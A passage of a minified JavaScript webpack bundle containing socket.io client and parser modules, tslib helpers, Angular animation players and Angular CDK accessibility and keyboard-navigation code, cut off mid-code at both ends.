f.num&&f.num>=0&&f.num<E.length)return E[f.num];throw new Error("illegal attachments")}if(Array.isArray(f))for(let _=0;_<f.length;_++)f[_]=c(f[_],E);else if("object"==typeof f)for(const _ in f)f.hasOwnProperty(_)&&(f[_]=c(f[_],E));return f}ae.deconstructPacket=function a(f){const E=[],S=f;return S.data=s(f.data,E),S.attachments=E.length,{packet:S,buffers:E}},ae.reconstructPacket=function u(f,E){return f.data=c(f.data,E),f.attachments=void 0,f}},869:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Decoder=ae.Encoder=ae.PacketType=ae.protocol=void 0;const n=d(1264),a=d(3541),s=d(8120),u=d(1455)("socket.io-parser");var c,g;ae.protocol=5,(g=c=ae.PacketType||(ae.PacketType={}))[g.CONNECT=0]="CONNECT",g[g.DISCONNECT=1]="DISCONNECT",g[g.EVENT=2]="EVENT",g[g.ACK=3]="ACK",g[g.CONNECT_ERROR=4]="CONNECT_ERROR",g[g.BINARY_EVENT=5]="BINARY_EVENT",g[g.BINARY_ACK=6]="BINARY_ACK",ae.Encoder=class f{encode(C){return u("encoding packet %j",C),C.type!==c.EVENT&&C.type!==c.ACK||!s.hasBinary(C)?[this.encodeAsString(C)]:(C.type=C.type===c.EVENT?c.BINARY_EVENT:c.BINARY_ACK,this.encodeAsBinary(C))}encodeAsString(C){let z=""+C.type;return(C.type===c.BINARY_EVENT||C.type===c.BINARY_ACK)&&(z+=C.attachments+"-"),C.nsp&&"/"!==C.nsp&&(z+=C.nsp+","),null!=C.id&&(z+=C.id),null!=C.data&&(z+=JSON.stringify(C.data)),u("encoded %j as %s",C,z),z}encodeAsBinary(C){const z=a.deconstructPacket(C),H=this.encodeAsString(z.packet),j=z.buffers;return j.unshift(H),j}};class E extends n{constructor(){super()}add(C){let z;if("string"==typeof C){if(this.reconstructor)throw new Error("got plaintext data when reconstructing a packet");z=this.decodeString(C),z.type===c.BINARY_EVENT||z.type===c.BINARY_ACK?(this.reconstructor=new S(z),0===z.attachments&&super.emit("decoded",z)):super.emit("decoded",z)}else{if(!s.isBinary(C)&&!C.base64)throw new Error("Unknown type: "+C);if(!this.reconstructor)throw new Error("got binary data when not reconstructing a packet");z=this.reconstructor.takeBinaryData(C),z&&(this.reconstructor=null,super.emit("decoded",z))}}decodeString(C){let z=0;const H={type:Number(C.charAt(0))};if(void 0===c[H.type])throw new Error("unknown packet type "+H.type);if(H.type===c.BINARY_EVENT||H.type===c.BINARY_ACK){const U=z+1;for(;"-"!==C.charAt(++z)&&z!=C.length;);const G=C.substring(U,z);if(G!=Number(G)||"-"!==C.charAt(z))throw new Error("Illegal attachments");H.attachments=Number(G)}if("/"===C.charAt(z+1)){const U=z+1;for(;++z&&","!==C.charAt(z)&&z!==C.length;);H.nsp=C.substring(U,z)}else H.nsp="/";const j=C.charAt(z+1);if(""!==j&&Number(j)==j){const U=z+1;for(;++z;){const G=C.charAt(z);if(null==G||Number(G)!=G){--z;break}if(z===C.length)break}H.id=Number(C.substring(U,z+1))}if(C.charAt(++z)){const U=function _(g){try{return JSON.parse(g)}catch{return!1}}(C.substr(z));if(!E.isPayloadValid(H.type,U))throw new Error("invalid payload");H.data=U}return u("decoded %s as %j",C,H),H}static isPayloadValid(C,z){switch(C){case c.CONNECT:return"object"==typeof z;case c.DISCONNECT:return void 0===z;case c.CONNECT_ERROR:return"string"==typeof z||"object"==typeof z;case c.EVENT:case c.BINARY_EVENT:return Array.isArray(z)&&z.length>0;case c.ACK:case c.BINARY_ACK:return Array.isArray(z)}}destroy(){this.reconstructor&&this.reconstructor.finishedReconstruction()}}ae.Decoder=E;class S{constructor(C){this.packet=C,this.buffers=[],this.reconPack=C}takeBinaryData(C){if(this.buffers.push(C),this.buffers.length===this.reconPack.attachments){const z=a.reconstructPacket(this.reconPack,this.buffers);return this.finishedReconstruction(),z}return null}finishedReconstruction(){this.reconPack=null,this.buffers=[]}}},8120:(At,ae)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.hasBinary=ae.isBinary=void 0;const d="function"==typeof ArrayBuffer,n=E=>"function"==typeof ArrayBuffer.isView?ArrayBuffer.isView(E):E.buffer instanceof ArrayBuffer,a=Object.prototype.toString,s="function"==typeof Blob||typeof Blob<"u"&&"[object BlobConstructor]"===a.call(Blob),u="function"==typeof File||typeof File<"u"&&"[object FileConstructor]"===a.call(File);function c(E){return d&&(E instanceof ArrayBuffer||n(E))||s&&E instanceof Blob||u&&E instanceof File}ae.isBinary=c,ae.hasBinary=function f(E,_){if(!E||"object"!=typeof E)return!1;if(Array.isArray(E)){for(let S=0,g=E.length;S<g;S++)if(f(E[S]))return!0;return!1}if(c(E))return!0;if(E.toJSON&&"function"==typeof E.toJSON&&1===arguments.length)return f(E.toJSON(),!0);for(const S in E)if(Object.prototype.hasOwnProperty.call(E,S)&&f(E[S]))return!0;return!1}},1067:At=>{"use strict";var u,ae="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_".split(""),d=64,n={},a=0,s=0;function c(_){var S="";do{S=ae[_%d]+S,_=Math.floor(_/d)}while(_>0);return S}function E(){var _=c(+new Date);return _!==u?(a=0,u=_):_+"."+c(a++)}for(;s<d;s++)n[ae[s]]=s;E.encode=c,E.decode=function f(_){var S=0;for(s=0;s<_.length;s++)S=S*d+n[_.charAt(s)];return S},At.exports=E},655:(At,ae,d)=>{"use strict";function c(Ye,qe,Ke,dt){var De,bt=arguments.length,ze=bt<3?qe:null===dt?dt=Object.getOwnPropertyDescriptor(qe,Ke):dt;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)ze=Reflect.decorate(Ye,qe,Ke,dt);else for(var re=Ye.length-1;re>=0;re--)(De=Ye[re])&&(ze=(bt<3?De(ze):bt>3?De(qe,Ke,ze):De(qe,Ke))||ze);return bt>3&&ze&&Object.defineProperty(qe,Ke,ze),ze}function C(Ye,qe){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(Ye,qe)}function z(Ye,qe,Ke,dt){return new(Ke||(Ke=Promise))(function(ze,De){function re(xt){try{We(dt.next(xt))}catch(Be){De(Be)}}function ve(xt){try{We(dt.throw(xt))}catch(Be){De(Be)}}function We(xt){xt.done?ze(xt.value):function bt(ze){return ze instanceof Ke?ze:new Ke(function(De){De(ze)})}(xt.value).then(re,ve)}We((dt=dt.apply(Ye,qe||[])).next())})}d.d(ae,{gn:()=>c,mG:()=>z,w6:()=>C})},8450:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Socket=ae.io=ae.Manager=ae.protocol=void 0;const n=d(4398),a=d(9707),s=d(9745);Object.defineProperty(ae,"Socket",{enumerable:!0,get:function(){return s.Socket}});const u=d(1455)("socket.io-client");At.exports=ae=f;const c=ae.managers={};function f(S,g){"object"==typeof S&&(g=S,S=void 0);const C=n.url(S,(g=g||{}).path),z=C.source,H=C.id;let Q;return g.forceNew||g["force new connection"]||!1===g.multiplex||c[H]&&C.path in c[H].nsps?(u("ignoring socket cache for %s",z),Q=new a.Manager(z,g)):(c[H]||(u("new io instance for %s",z),c[H]=new a.Manager(z,g)),Q=c[H]),C.query&&!g.query&&(g.query=C.queryKey),Q.socket(C.path,g)}ae.io=f;var E=d(869);Object.defineProperty(ae,"protocol",{enumerable:!0,get:function(){return E.protocol}}),ae.connect=f;var _=d(9707);Object.defineProperty(ae,"Manager",{enumerable:!0,get:function(){return _.Manager}})},9707:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Manager=void 0;const n=d(7410),a=d(9745),s=d(1264),u=d(869),c=d(5825),f=d(2150),E=d(1455)("socket.io-client:manager");ae.Manager=class _ extends s{constructor(g,C){super(),this.nsps={},this.subs=[],g&&"object"==typeof g&&(C=g,g=void 0),(C=C||{}).path=C.path||"/socket.io",this.opts=C,this.reconnection(!1!==C.reconnection),this.reconnectionAttempts(C.reconnectionAttempts||1/0),this.reconnectionDelay(C.reconnectionDelay||1e3),this.reconnectionDelayMax(C.reconnectionDelayMax||5e3),this.randomizationFactor(C.randomizationFactor||.5),this.backoff=new f({min:this.reconnectionDelay(),max:this.reconnectionDelayMax(),jitter:this.randomizationFactor()}),this.timeout(null==C.timeout?2e4:C.timeout),this._readyState="closed",this.uri=g;const z=C.parser||u;this.encoder=new z.Encoder,this.decoder=new z.Decoder,this._autoConnect=!1!==C.autoConnect,this._autoConnect&&this.open()}reconnection(g){return arguments.length?(this._reconnection=!!g,this):this._reconnection}reconnectionAttempts(g){return void 0===g?this._reconnectionAttempts:(this._reconnectionAttempts=g,this)}reconnectionDelay(g){var C;return void 0===g?this._reconnectionDelay:(this._reconnectionDelay=g,null===(C=this.backoff)||void 0===C||C.setMin(g),this)}randomizationFactor(g){var C;return void 0===g?this._randomizationFactor:(this._randomizationFactor=g,null===(C=this.backoff)||void 0===C||C.setJitter(g),this)}reconnectionDelayMax(g){var C;return void 0===g?this._reconnectionDelayMax:(this._reconnectionDelayMax=g,null===(C=this.backoff)||void 0===C||C.setMax(g),this)}timeout(g){return arguments.length?(this._timeout=g,this):this._timeout}maybeReconnectOnOpen(){!this._reconnecting&&this._reconnection&&0===this.backoff.attempts&&this.reconnect()}open(g){if(E("readyState %s",this._readyState),~this._readyState.indexOf("open"))return this;E("opening %s",this.uri),this.engine=n(this.uri,this.opts);const C=this.engine,z=this;this._readyState="opening",this.skipReconnect=!1;const H=c.on(C,"open",function(){z.onopen(),g&&g()}),j=c.on(C,"error",U=>{E("error"),z.cleanup(),z._readyState="closed",super.emit("error",U),g?g(U):z.maybeReconnectOnOpen()});if(!1!==this._timeout){const U=this._timeout;E("connect attempt will timeout after %d",U),0===U&&H();const G=setTimeout(()=>{E("connect attempt timed out after %d",U),H(),C.close(),C.emit("error",new Error("timeout"))},U);this.subs.push(function(){clearTimeout(G)})}return this.subs.push(H),this.subs.push(j),this}connect(g){return this.open(g)}onopen(){E("open"),this.cleanup(),this._readyState="open",super.emit("open");const g=this.engine;this.subs.push(c.on(g,"ping",this.onping.bind(this)),c.on(g,"data",this.ondata.bind(this)),c.on(g,"error",this.onerror.bind(this)),c.on(g,"close",this.onclose.bind(this)),c.on(this.decoder,"decoded",this.ondecoded.bind(this)))}onping(){super.emit("ping")}ondata(g){this.decoder.add(g)}ondecoded(g){super.emit("packet",g)}onerror(g){E("error",g),super.emit("error",g)}socket(g,C){let z=this.nsps[g];return z||(z=new a.Socket(this,g,C),this.nsps[g]=z),z}_destroy(g){const C=Object.keys(this.nsps);for(const z of C)if(this.nsps[z].active)return void E("socket %s is still active, skipping close",z);this._close()}_packet(g){E("writing packet %j",g);const C=this.encoder.encode(g);for(let z=0;z<C.length;z++)this.engine.write(C[z],g.options)}cleanup(){E("cleanup"),this.subs.forEach(g=>g()),this.subs.length=0,this.decoder.destroy()}_close(){E("disconnect"),this.skipReconnect=!0,this._reconnecting=!1,"opening"===this._readyState&&this.cleanup(),this.backoff.reset(),this._readyState="closed",this.engine&&this.engine.close()}disconnect(){return this._close()}onclose(g){E("onclose"),this.cleanup(),this.backoff.reset(),this._readyState="closed",super.emit("close",g),this._reconnection&&!this.skipReconnect&&this.reconnect()}reconnect(){if(this._reconnecting||this.skipReconnect)return this;const g=this;if(this.backoff.attempts>=this._reconnectionAttempts)E("reconnect failed"),this.backoff.reset(),super.emit("reconnect_failed"),this._reconnecting=!1;else{const C=this.backoff.duration();E("will wait %dms before reconnect attempt",C),this._reconnecting=!0;const z=setTimeout(()=>{g.skipReconnect||(E("attempting reconnect"),super.emit("reconnect_attempt",g.backoff.attempts),!g.skipReconnect&&g.open(H=>{H?(E("reconnect attempt error"),g._reconnecting=!1,g.reconnect(),super.emit("reconnect_error",H)):(E("reconnect success"),g.onreconnect())}))},C);this.subs.push(function(){clearTimeout(z)})}}onreconnect(){const g=this.backoff.attempts;this._reconnecting=!1,this.backoff.reset(),super.emit("reconnect",g)}}},5825:(At,ae)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.on=void 0,ae.on=function d(n,a,s){return n.on(a,s),function(){n.off(a,s)}}},9745:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Socket=void 0;const n=d(869),a=d(1264),s=d(5825),u=d(1455)("socket.io-client:socket"),c=Object.freeze({connect:1,connect_error:1,disconnect:1,disconnecting:1,newListener:1,removeListener:1});ae.Socket=class f extends a{constructor(_,S,g){super(),this.receiveBuffer=[],this.sendBuffer=[],this.ids=0,this.acks={},this.flags={},this.io=_,this.nsp=S,this.ids=0,this.acks={},this.receiveBuffer=[],this.sendBuffer=[],this.connected=!1,this.disconnected=!0,this.flags={},g&&g.auth&&(this.auth=g.auth),this.io._autoConnect&&this.open()}subEvents(){if(this.subs)return;const _=this.io;this.subs=[s.on(_,"open",this.onopen.bind(this)),s.on(_,"packet",this.onpacket.bind(this)),s.on(_,"error",this.onerror.bind(this)),s.on(_,"close",this.onclose.bind(this))]}get active(){return!!this.subs}connect(){return this.connected||(this.subEvents(),this.io._reconnecting||this.io.open(),"open"===this.io._readyState&&this.onopen()),this}open(){return this.connect()}send(..._){return _.unshift("message"),this.emit.apply(this,_),this}emit(_,...S){if(c.hasOwnProperty(_))throw new Error(\'"\'+_+\'" is a reserved event name\');S.unshift(_);const g={type:n.PacketType.EVENT,data:S,options:{}};return g.options.compress=!1!==this.flags.compress,"function"==typeof S[S.length-1]&&(u("emitting packet with ack id %d",this.ids),this.acks[this.ids]=S.pop(),g.id=this.ids++),!this.flags.volatile||this.io.engine&&this.io.engine.transport&&this.io.engine.transport.writable&&this.connected?this.connected?this.packet(g):this.sendBuffer.push(g):u("discard packet as the transport is not currently writable"),this.flags={},this}packet(_){_.nsp=this.nsp,this.io._packet(_)}onopen(){u("transport is open - connecting"),"function"==typeof this.auth?this.auth(_=>{this.packet({type:n.PacketType.CONNECT,data:_})}):this.packet({type:n.PacketType.CONNECT,data:this.auth})}onerror(_){this.connected||super.emit("connect_error",_)}onclose(_){u("close (%s)",_),this.connected=!1,this.disconnected=!0,delete this.id,super.emit("disconnect",_)}onpacket(_){if(_.nsp===this.nsp)switch(_.type){case n.PacketType.CONNECT:_.data&&_.data.sid?this.onconnect(_.data.sid):super.emit("connect_error",new Error("It seems you are trying to reach a Socket.IO server in v2.x with a v3.x client, but they are not compatible (more information here: https://socket.io/docs/v3/migrating-from-2-x-to-3-0/)"));break;case n.PacketType.EVENT:case n.PacketType.BINARY_EVENT:this.onevent(_);break;case n.PacketType.ACK:case n.PacketType.BINARY_ACK:this.onack(_);break;case n.PacketType.DISCONNECT:this.ondisconnect();break;case n.PacketType.CONNECT_ERROR:const g=new Error(_.data.message);g.data=_.data.data,super.emit("connect_error",g)}}onevent(_){const S=_.data||[];u("emitting event %j",S),null!=_.id&&(u("attaching ack callback to event"),S.push(this.ack(_.id))),this.connected?this.emitEvent(S):this.receiveBuffer.push(Object.freeze(S))}emitEvent(_){if(this._anyListeners&&this._anyListeners.length){const S=this._anyListeners.slice();for(const g of S)g.apply(this,_)}super.emit.apply(this,_)}ack(_){const S=this;let g=!1;return function(...C){g||(g=!0,u("sending ack %j",C),S.packet({type:n.PacketType.ACK,id:_,data:C}))}}onack(_){const S=this.acks[_.id];"function"==typeof S?(u("calling ack %s with %j",_.id,_.data),S.apply(this,_.data),delete this.acks[_.id]):u("bad ack %s",_.id)}onconnect(_){u("socket connected with id %s",_),this.id=_,this.connected=!0,this.disconnected=!1,super.emit("connect"),this.emitBuffered()}emitBuffered(){this.receiveBuffer.forEach(_=>this.emitEvent(_)),this.receiveBuffer=[],this.sendBuffer.forEach(_=>this.packet(_)),this.sendBuffer=[]}ondisconnect(){u("server disconnect (%s)",this.nsp),this.destroy(),this.onclose("io server disconnect")}destroy(){this.subs&&(this.subs.forEach(_=>_()),this.subs=void 0),this.io._destroy(this)}disconnect(){return this.connected&&(u("performing disconnect (%s)",this.nsp),this.packet({type:n.PacketType.DISCONNECT})),this.destroy(),this.connected&&this.onclose("io client disconnect"),this}close(){return this.disconnect()}compress(_){return this.flags.compress=_,this}get volatile(){return this.flags.volatile=!0,this}onAny(_){return this._anyListeners=this._anyListeners||[],this._anyListeners.push(_),this}prependAny(_){return this._anyListeners=this._anyListeners||[],this._anyListeners.unshift(_),this}offAny(_){if(!this._anyListeners)return this;if(_){const S=this._anyListeners;for(let g=0;g<S.length;g++)if(_===S[g])return S.splice(g,1),this}else this._anyListeners=[];return this}listenersAny(){return this._anyListeners||[]}}},4398:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.url=void 0;const n=d(1884),a=d(1455)("socket.io-client:url");ae.url=function s(u,c="",f){let E=u;f=f||typeof location<"u"&&location,null==u&&(u=f.protocol+"//"+f.host),"string"==typeof u&&("/"===u.charAt(0)&&(u="/"===u.charAt(1)?f.protocol+u:f.host+u),/^(https?|wss?):\\/\\//.test(u)||(a("protocol-less url %s",u),u=typeof f<"u"?f.protocol+"//"+u:"https://"+u),a("parse %s",u),E=n(u)),E.port||(/^(http|ws)$/.test(E.protocol)?E.port="80":/^(http|ws)s$/.test(E.protocol)&&(E.port="443")),E.path=E.path||"/";const S=-1!==E.host.indexOf(":")?"["+E.host+"]":E.host;return E.id=E.protocol+"://"+S+":"+E.port+c,E.href=E.protocol+"://"+S+(f&&f.port===E.port?"":":"+E.port),E}},7340:(At,ae,d)=>{"use strict";d.d(ae,{EY:()=>G,F4:()=>g,IO:()=>U,LC:()=>a,SB:()=>S,X$:()=>u,ZE:()=>Ce,ZN:()=>oe,_7:()=>j,_j:()=>n,eR:()=>C,jt:()=>c,k1:()=>k,l3:()=>s,oB:()=>_,oQ:()=>z,pV:()=>H,ru:()=>f,vP:()=>E});class n{}class a{}const s="*";function u(K,se){return{type:7,name:K,definitions:se,options:{}}}function c(K,se=null){return{type:4,styles:se,timings:K}}function f(K,se=null){return{type:3,steps:K,options:se}}function E(K,se=null){return{type:2,steps:K,options:se}}function _(K){return{type:6,styles:K,offset:null}}function S(K,se,ee){return{type:0,name:K,styles:se,options:ee}}function g(K){return{type:5,steps:K}}function C(K,se,ee=null){return{type:1,expr:K,animation:se,options:ee}}function z(K,se=null){return{type:8,animation:K,options:se}}function H(K=null){return{type:9,options:K}}function j(K,se=null){return{type:10,animation:K,options:se}}function U(K,se,ee=null){return{type:11,selector:K,animation:se,options:ee}}function G(K,se){return{type:12,timings:K,animation:se}}function Q(K){Promise.resolve().then(K)}class oe{constructor(se=0,ee=0){this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._originalOnDoneFns=[],this._originalOnStartFns=[],this._started=!1,this._destroyed=!1,this._finished=!1,this._position=0,this.parentPlayer=null,this.totalTime=se+ee}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(se=>se()),this._onDoneFns=[])}onStart(se){this._originalOnStartFns.push(se),this._onStartFns.push(se)}onDone(se){this._originalOnDoneFns.push(se),this._onDoneFns.push(se)}onDestroy(se){this._onDestroyFns.push(se)}hasStarted(){return this._started}init(){}play(){this.hasStarted()||(this._onStart(),this.triggerMicrotask()),this._started=!0}triggerMicrotask(){Q(()=>this._onFinish())}_onStart(){this._onStartFns.forEach(se=>se()),this._onStartFns=[]}pause(){}restart(){}finish(){this._onFinish()}destroy(){this._destroyed||(this._destroyed=!0,this.hasStarted()||this._onStart(),this.finish(),this._onDestroyFns.forEach(se=>se()),this._onDestroyFns=[])}reset(){this._started=!1,this._finished=!1,this._onStartFns=this._originalOnStartFns,this._onDoneFns=this._originalOnDoneFns}setPosition(se){this._position=this.totalTime?se*this.totalTime:1}getPosition(){return this.totalTime?this._position/this.totalTime:1}triggerCallback(se){const ee="start"==se?this._onStartFns:this._onDoneFns;ee.forEach(q=>q()),ee.length=0}}class Ce{constructor(se){this._onDoneFns=[],this._onStartFns=[],this._finished=!1,this._started=!1,this._destroyed=!1,this._onDestroyFns=[],this.parentPlayer=null,this.totalTime=0,this.players=se;let ee=0,q=0,we=0;const ce=this.players.length;0==ce?Q(()=>this._onFinish()):this.players.forEach(je=>{je.onDone(()=>{++ee==ce&&this._onFinish()}),je.onDestroy(()=>{++q==ce&&this._onDestroy()}),je.onStart(()=>{++we==ce&&this._onStart()})}),this.totalTime=this.players.reduce((je,Ze)=>Math.max(je,Ze.totalTime),0)}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(se=>se()),this._onDoneFns=[])}init(){this.players.forEach(se=>se.init())}onStart(se){this._onStartFns.push(se)}_onStart(){this.hasStarted()||(this._started=!0,this._onStartFns.forEach(se=>se()),this._onStartFns=[])}onDone(se){this._onDoneFns.push(se)}onDestroy(se){this._onDestroyFns.push(se)}hasStarted(){return this._started}play(){this.parentPlayer||this.init(),this._onStart(),this.players.forEach(se=>se.play())}pause(){this.players.forEach(se=>se.pause())}restart(){this.players.forEach(se=>se.restart())}finish(){this._onFinish(),this.players.forEach(se=>se.finish())}destroy(){this._onDestroy()}_onDestroy(){this._destroyed||(this._destroyed=!0,this._onFinish(),this.players.forEach(se=>se.destroy()),this._onDestroyFns.forEach(se=>se()),this._onDestroyFns=[])}reset(){this.players.forEach(se=>se.reset()),this._destroyed=!1,this._finished=!1,this._started=!1}setPosition(se){const ee=se*this.totalTime;this.players.forEach(q=>{const we=q.totalTime?Math.min(1,ee/q.totalTime):1;q.setPosition(we)})}getPosition(){const se=this.players.reduce((ee,q)=>null===ee||q.totalTime>ee.totalTime?q:ee,null);return null!=se?se.getPosition():0}beforeDestroy(){this.players.forEach(se=>{se.beforeDestroy&&se.beforeDestroy()})}triggerCallback(se){const ee="start"==se?this._onStartFns:this._onDoneFns;ee.forEach(q=>q()),ee.length=0}}const k="!"},2687:(At,ae,d)=>{"use strict";d.d(ae,{$s:()=>Ze,Em:()=>qe,Kd:()=>Gt,X6:()=>te,ic:()=>dt,kH:()=>_t,mK:()=>ct,qV:()=>_e,qm:()=>Pe,rt:()=>Re,s1:()=>Ye,tE:()=>It,yG:()=>x});var n=d(6895),a=d(4650),s=d(3353),u=d(8929),c=d(2654),f=d(591),E=d(1086),_=d(9521),S=d(2868),g=d(13),C=d(2198),z=d(4850),H=d(2986),j=d(1307),U=d(5778),G=d(7625),Q=d(1281),oe=d(9643),Ce=d(2289);function ee(Ue,xe){return(Ue.getAttribute(xe)||"").match(/\\S+/g)||[]}const we="cdk-describedby-message",ce="cdk-describedby-host";let je=0,Ze=(()=>{class Ue{constructor(J,Ae){this._platform=Ae,this._messageRegistry=new Map,this._messagesContainer=null,this._id=""+je++,this._document=J,this._id=(0,a.f3M)(a.AFp)+"-"+je++}describe(J,Ae,mt){if(!this._canBeDescribed(J,Ae))return;const Ct=le(Ae,mt);"string"!=typeof Ae?(Oe(Ae,this._id),this._messageRegistry.set(Ct,{messageElement:Ae,referenceCount:0})):this._messageRegistry.has(Ct)||this._createMessageElement(Ae,mt),this._isElementDescribedByMessage(J,Ct)||this._addMessageReference(J,Ct)}removeDescription(J,Ae,mt){if(!Ae||!this._isElementNode(J))return;const Ct=le(Ae,mt);if(this._isElementDescribedByMessage(J,Ct)&&this._removeMessageReference(J,Ct),"string"==typeof Ae){const jt=this._messageRegistry.get(Ct);jt&&0===jt.referenceCount&&this._deleteMessageElement(Ct)}0===this._messagesContainer?.childNodes.length&&(this._messagesContainer.remove(),this._messagesContainer=null)}ngOnDestroy(){const J=this._document.querySelectorAll(`[${ce}="${this._id}"]`);for(let Ae=0;Ae<J.length;Ae++)this._removeCdkDescribedByReferenceIds(J[Ae]),J[Ae].removeAttribute(ce);this._messagesContainer?.remove(),this._messagesContainer=null,this._messageRegistry.clear()}_createMessageElement(J,Ae){const mt=this._document.createElement("div");Oe(mt,this._id),mt.textContent=J,Ae&&mt.setAttribute("role",Ae),this._createMessagesContainer(),this._messagesContainer.appendChild(mt),this._messageRegistry.set(le(J,Ae),{messageElement:mt,referenceCount:0})}_deleteMessageElement(J){this._messageRegistry.get(J)?.messageElement?.remove(),this._messageRegistry.delete(J)}_createMessagesContainer(){if(this._messagesContainer)return;const J="cdk-describedby-message-container",Ae=this._document.querySelectorAll(`.${J}[platform="server"]`);for(let Ct=0;Ct<Ae.length;Ct++)Ae[Ct].remove();const mt=this._document.createElement("div");mt.style.visibility="hidden",mt.classList.add(J),mt.classList.add("cdk-visually-hidden"),this._platform&&!this._platform.isBrowser&&mt.setAttribute("platform","server"),this._document.body.appendChild(mt),this._messagesContainer=mt}_removeCdkDescribedByReferenceIds(J){const Ae=ee(J,"aria-describedby").filter(mt=>0!=mt.indexOf(we));J.setAttribute("aria-describedby",Ae.join(" "))}_addMessageReference(J,Ae){const mt=this._messageRegistry.get(Ae);(function K(Ue,xe,J){const Ae=ee(Ue,xe);Ae.some(mt=>mt.trim()==J.trim())||(Ae.push(J.trim()),Ue.setAttribute(xe,Ae.join(" ")))})(J,"aria-describedby",mt.messageElement.id),J.setAttribute(ce,this._id),mt.referenceCount++}_removeMessageReference(J,Ae){const mt=this._messageRegistry.get(Ae);mt.referenceCount--,function se(Ue,xe,J){const mt=ee(Ue,xe).filter(Ct=>Ct!=J.trim());mt.length?Ue.setAttribute(xe,mt.join(" ")):Ue.removeAttribute(xe)}(J,"aria-describedby",mt.messageElement.id),J.removeAttribute(ce)}_isElementDescribedByMessage(J,Ae){const mt=ee(J,"aria-describedby"),Ct=this._messageRegistry.get(Ae),jt=Ct&&Ct.messageElement.id;return!!jt&&-1!=mt.indexOf(jt)}_canBeDescribed(J,Ae){if(!this._isElementNode(J))return!1;if(Ae&&"object"==typeof Ae)return!0;const mt=null==Ae?"":`${Ae}`.trim(),Ct=J.getAttribute("aria-label");return!(!mt||Ct&&Ct.trim()===mt)}_isElementNode(J){return J.nodeType===this._document.ELEMENT_NODE}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(n.K0),a.LFG(s.t4))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();function le(Ue,xe){return"string"==typeof Ue?`${xe||""}/${Ue}`:Ue}function Oe(Ue,xe){Ue.id||(Ue.id=`${we}-${xe}-${je++}`)}class Qe{constructor(xe){this._items=xe,this._activeItemIndex=-1,this._activeItem=null,this._wrap=!1,this._letterKeyStream=new u.xQ,this._typeaheadSubscription=c.w.EMPTY,this._vertical=!0,this._allowedModifierKeys=[],this._homeAndEnd=!1,this._skipPredicateFn=J=>J.disabled,this._pressedLetters=[],this.tabOut=new u.xQ,this.change=new u.xQ,xe instanceof a.n_E&&xe.changes.subscribe(J=>{if(this._activeItem){const mt=J.toArray().indexOf(this._activeItem);mt>-1&&mt!==this._activeItemIndex&&(this._activeItemIndex=mt)}})}skipPredicate(xe){return this._skipPredicateFn=xe,this}withWrap(xe=!0){return this._wrap=xe,this}withVerticalOrientation(xe=!0){return this._vertical=xe,this}withHorizontalOrientation(xe){return this._horizontal=xe,this}withAllowedModifierKeys(xe){return this._allowedModifierKeys=xe,this}withTypeAhead(xe=200){return this._typeaheadSubscription.unsubscribe(),this._typeaheadSubscription=this._letterKeyStream.pipe((0,S.b)(J=>this._pressedLetters.push(J)),(0,g.b)(xe),(0,C.h)(()=>this._pressedLetters.length>0),(0,z.U)(()=>this._pressedLetters.join(""))).subscribe(J=>{const Ae=this._getItemsArray();for(let mt=1;mt<Ae.length+1;mt++){const Ct=(this._activeItemIndex+mt)%Ae.length,jt=Ae[Ct];if(!this._skipPredicateFn(jt)&&0===jt.getLabel().toUpperCase().trim().indexOf(J)){this.setActiveItem(Ct);break}}this._pressedLetters=[]}),this}withHomeAndEnd(xe=!0){return this._homeAndEnd=xe,this}setActiveItem(xe){const J=this._activeItem;this.updateActiveItem(xe),this._activeItem!==J&&this.change.next(this._activeItemIndex)}onKeydown(xe){const J=xe.keyCode,mt=["altKey","ctrlKey","metaKey","shiftKey"].every(Ct=>!xe[Ct]||this._allowedModifierKeys.indexOf(Ct)>-1);switch(J){case _.Mf:return void this.tabOut.next();case _.JH:if(this._vertical&&mt){this.setNextItemActive();break}return;case _.LH:if(this._vertical&&mt){this.setPreviousItemActive();break}return;case _.SV:if(this._horizontal&&mt){"rtl"===this._horizontal?this.setPreviousItemActive():this.setNextItemActive();break}return;case _.oh:if(this._horizontal&&mt){"rtl"===this._horizontal?this.setNextItemActive():this.setPreviousItemActive();break}return;case _.Sd:if(this._homeAndEnd&&mt){this.setFirstItemActive();break}return;case _.uR:if(this._homeAndEnd&&mt){this.setLastItemActive();break}return;default:return void((mt||(0,_.Vb)(xe,"shiftKey"))&&(xe.key&&1===xe.key.length?this._letterKeyStream.next(xe.key.toLocaleUpperCase()):(J>=_.A&&J<=_.Z||J>=_.xE&&J<=_.aO)&&this._letterKeyStream.next(String.fromCharCode(J))))}this._pressedLetters=[],xe.preventDefault()}get activeItemIndex(){return this._activeItemIndex}get activeItem(){return this._activeItem}isTyping(){return this._pressedLetters.length>0}setFirstItemActive(){this._setActiveItemByIndex(0,1)}setLastItemActive(){this._setActiveItemByIndex(this._items.length-1,-1)}setNextItemActive(){this._activeItemIndex<0?this.setFirstItemActive():this._setActiveItemByDelta(1)}setPreviousItemActive(){this._activeItemIndex<0&&this._wrap?this.setLastItemActive():this._setActiveItemByDelta(-1)}updateActiveItem(xe){const J=this._getItemsArray(),Ae="number"==typeof xe?xe:J.indexOf(xe);this._activeItem=J[Ae]??null,this._activeItemIndex=Ae}_setActiveItemByDelta(xe){this._wrap?this._setActiveInWrapMode(xe):this._setActiveInDefaultMode(xe)}_setActiveInWrapMode(xe){const J=this._getItemsArray();for(let Ae=1;Ae<=J.length;Ae++){const 